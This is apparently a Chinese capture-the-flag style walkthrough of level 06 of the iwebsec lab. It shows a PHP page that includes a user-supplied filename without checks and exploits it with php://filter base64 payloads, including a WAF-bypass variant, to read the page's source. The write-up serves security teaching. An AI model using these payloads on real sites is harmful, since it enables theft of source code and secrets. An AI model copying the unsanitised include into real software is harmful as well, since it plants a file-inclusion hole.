目录
前言
1.php://filter伪协议原理
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件行。如果我们对其进行编码,就可以任意文件读取。
2.php://filter伪协议利用方式
?file=php://filter/resource=xxx.php
或
?file=php://filter/read=convert.base64-encode/resource=xxx.php
或
?file=php://filter/convert.base64-encode/resource=xxx.php #可绕过过滤了操作名read的waf
第06关 php://filter伪协议
1.打开靶场
http://iwebsec.com:81/fi/06.php
2.源码分析
<?php
require_once('../header.php');
?>
<html>
<head>
<title>php伪协议</title>
</head>
<h2>php伪协议</h2>
<div class="alert alert-success">
<p>/06.php?filename=php://filter/convert.base64-encode/resource=06.php </p>
</div>
<body>
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
3.伪协议渗透
(1)方法1
参数为?filename=php://filter/convert.base64-encode/resource=06.php
http://iwebsec.com:81/fi/06.php?filename=php://filter/convert.base64-encode/resource=06.php
编码的值为
PD9waHAKCiAgcmVxdWlyZV9vbmNlKCcuLi9oZWFkZXIucGhwJyk7CiAgPz4KPGh0bWw+Cgk8aGVhZD4KCQk8dGl0bGU+cGhw5Lyq5Y2P6K6uPC90aXRsZT4KCTwvaGVhZD4KCTxoMj5waHDkvKrljY/orq48L2gyPgoJCTxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3MiPgoJCQk8cD4vMDYucGhwP2ZpbGVuYW1lPXBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9MDYucGhwIDwvcD4KCQk8L2Rpdj4KCTxib2R5Pgo8P3BocAoJaWYoaXNzZXQoJF9HRVRbJ2ZpbGVuYW1lJ10pKXsKCQogICAgJGZpbGVuYW1lICA9ICRfR0VUWydmaWxlbmFtZSddOwogICAgaW5jbHVkZSgkZmlsZW5hbWUpOwoJfWVsc2V7CgkJZXhpdCgpOwoJfQoJCj8+Cg==
(2)方法2
06.php?filename=php://filter/read=convert.base64-encode/resource=06.php
http://iwebsec.com:81/fi/06.php?filename=php://filter/read=convert.base64-encode/resource=06.php
4.base64解码获取源码
Base64 在线编码解码 | Base64 加密解密 - Base64.us
解码后的源码如下所示,和我们在服务器中查看到的源码一样。
<?php
require_once('../header.php');
?>
<html>
<head>
<title>php伪协议</title>
</head>
<h2>php伪协议</h2>
<div class="alert alert-success">
<p>/06.php?filename=php://filter/convert.base64-encode/resource=06.php </p>
</div>
<body>
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>